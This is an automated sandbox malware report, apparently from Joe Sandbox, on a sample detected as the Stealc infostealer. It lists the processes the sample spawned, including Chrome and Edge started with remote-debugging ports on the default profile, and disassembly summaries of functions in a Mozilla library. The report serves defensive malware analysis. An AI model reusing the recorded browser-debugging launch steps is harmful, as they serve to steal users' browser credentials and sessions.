2024-10-30 22:11:44 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Target ID:	0
Start time:	18:11:05
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3d0000
File size:	2'129'920 bytes
MD5 hash:	377335949FA0FAC8B8A2B2CA2821982F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2636691992.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2116035375.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2638083639.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:11:17
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:11:17
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1784 --field-trial-handle=2196,i,666161878046163047,8604981053398808251,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:11:29
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:11:29
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2244 --field-trial-handle=2164,i,4746656918360619146,9382172883927238799,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:11:29
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	18:11:30
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2644 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	18:11:33
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6740 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	18:11:33
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6904 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	18:12:29
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7080 --field-trial-handle=2024,i,3838732235507287572,18018030642264510812,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5A35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
__aulldiv.LIBCMT ref: 6C5A36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A3773
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A377E
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5A37C4
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5A37CB
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5A3801
__aulldiv.LIBCMT ref: 6C5A3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C5A3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C5A3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C5A394C

Strings

QPC, xrefs: 6C5A38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C5A35DB
GTC, xrefs: 6C5A3912
AuthcAMDenti, xrefs: 6C5A3946
GenuntelineI, xrefs: 6C5A3639

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction ID: 58258d794846fcac44fbf7d8a36d5c5d9ce4a27c2b84679bf9037ea9a8444b09
Opcode Fuzzy Hash: 2c4448e7cb1090e5ad88f7fb1f6d1f98e8f0659bc47a31968e1b8cb9188a8460
Instruction Fuzzy Hash: C2B1D671B093109FDB08DF6AC884A1ABBF5FB8A704F04893DE499D7750D738D9058B8A

Function 6C5BC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5BC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5BC969
GetSystemInfo.KERNEL32(?), ref: 6C5BC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5BC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5BC9E2

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction ID: ee57ad9629ccca4bbce986a2f7b66707ca0dbbf25c9cb405b823373fd64a2c64
Opcode Fuzzy Hash: c25a419378f0307c4cc3593511087e2d48e8c7a017ecbf304a149edabb2da990
Instruction Fuzzy Hash: 1721D731741218ABEB14AA29CCD4BAE77B9EB86744F50051EF943B7A40EB707C04879D

Function 6C5A3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C5A3095

Part of subcall function 6C5A35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C62F688,00001000), ref: 6C5A35D5
Part of subcall function 6C5A35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5A35E0
Part of subcall function 6C5A35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5A35FD
Part of subcall function 6C5A35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5A363F
Part of subcall function 6C5A35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5A369F
Part of subcall function 6C5A35A0: __aulldiv.LIBCMT ref: 6C5A36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A309F

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5A30BE

Part of subcall function 6C5A30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C5A3127
Part of subcall function 6C5A30F0: __aulldiv.LIBCMT ref: 6C5A3140

Part of subcall function 6C5DAB2A: __onexit.LIBCMT ref: 6C5DAB30

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction ID: 28c5886c79c98ed68545528f8921f23ad7d5b28c6b54648bcd6eb66a00b02b5d
Opcode Fuzzy Hash: 7652b2b07070b95f457e38f3c29b51b2d7fdcefa6832b054756fe781511fc3f7
Instruction Fuzzy Hash: 2DF0F932E20754D6CB10DF7A8CC1AEAB370EFAB118F511719E84563511FB2465D8838B

Non-executed Functions

Function 6C5B5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C5B5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5B54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5B54BE
__Init_thread_footer.LIBCMT ref: 6C5B54DB

Part of subcall function 6C5DAB3F: EnterCriticalSection.KERNEL32(6C62E370,?,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB49
Part of subcall function 6C5DAB3F: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A3527,6C62F6CC,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DAB7C

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5B54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C5B5516
GetCurrentThreadId.KERNEL32 ref: 6C5B556A
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5577
moz_xmalloc.MOZGLUE(00000070), ref: 6C5B5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C5B5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C5B55E6
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5B5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B5616

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetCurrentThreadId.KERNEL32 ref: 6C5B563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5B5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C5B567C
free.MOZGLUE(?), ref: 6C5B56AE

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C5B56E8
GetCurrentThreadId.KERNEL32 ref: 6C5B5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C5B570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C5B5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C5B574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C5B576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C5B5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C5B57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C5B57CA

Strings

MOZ_BASE_PROFILER_HELP, xrefs: 6C5B5511
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C5B584E
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5B5724
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C5B5749
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C5B5D01
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C5B5CF9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C5B56E3
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C5B5BBE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5B548D
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C5B5D24
GeckoMain, xrefs: 6C5B5554, 6C5B55D5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C5B5717
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5B5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C5B5AC9
MOZ_PROFILER_STARTUP, xrefs: 6C5B55E1
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C5B5B38
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5B5766
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5B54B9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5B57C5
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C5B5C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C5B5D1C
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C5B57AE
[I %d/%d] profiler_init, xrefs: 6C5B564E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C5B5D2B
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5B54A3

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction ID: b04d8da1ab57f41e6c74f865e98f57f7aeb7a2e9e97ec03ddeb5d4d242474f7d
Opcode Fuzzy Hash: fd061fc5e527c0860552363f74d15eb5ff6ba75276c03acde24cd4c4d08f0231
Instruction Fuzzy Hash: 1C2258B0A047009FE7049F75CCA465ABBB4FF86348F844A29E846A7B41E739D845CF5B

Function 6C5EB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EB845
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000), ref: 6C5EB852
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EB884
InitializeConditionVariable.KERNEL32(?), ref: 6C5EB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C5EB9FD
GetCurrentThreadId.KERNEL32 ref: 6C5EBA05
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000), ref: 6C5EBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C5EBA27
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EBA4B
free.MOZGLUE(?), ref: 6C5EC9C7
free.MOZGLUE(?), ref: 6C5EC9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C5EC878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C5EC7DA

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: e03fe6881e3e59b999bfc4264ce2267efc13986c3aae6880d0cc58ae0d1ddf90
Instruction ID: 673602e8f352d8f7d6f3a71851b772028b436547dc83b80d0c51d0b56f0f595f
Opcode Fuzzy Hash: e03fe6881e3e59b999bfc4264ce2267efc13986c3aae6880d0cc58ae0d1ddf90
Instruction Fuzzy Hash: 95A2AD71A083808FC725CF69C88079FB7E5BFC9314F444A2DE89A97751DB74A909CB86

Function 6C5B6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C5B6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C5B6D26

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C5B6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C5B6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C5B6D73
free.MOZGLUE(00000000), ref: 6C5B6D80
CertGetNameStringW.CRYPT32 ref: 6C5B6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C5B6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C5B6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C5B6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C5B6E34
CreateFileW.KERNEL32 ref: 6C5B6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C5B6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C5B6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C5B709D
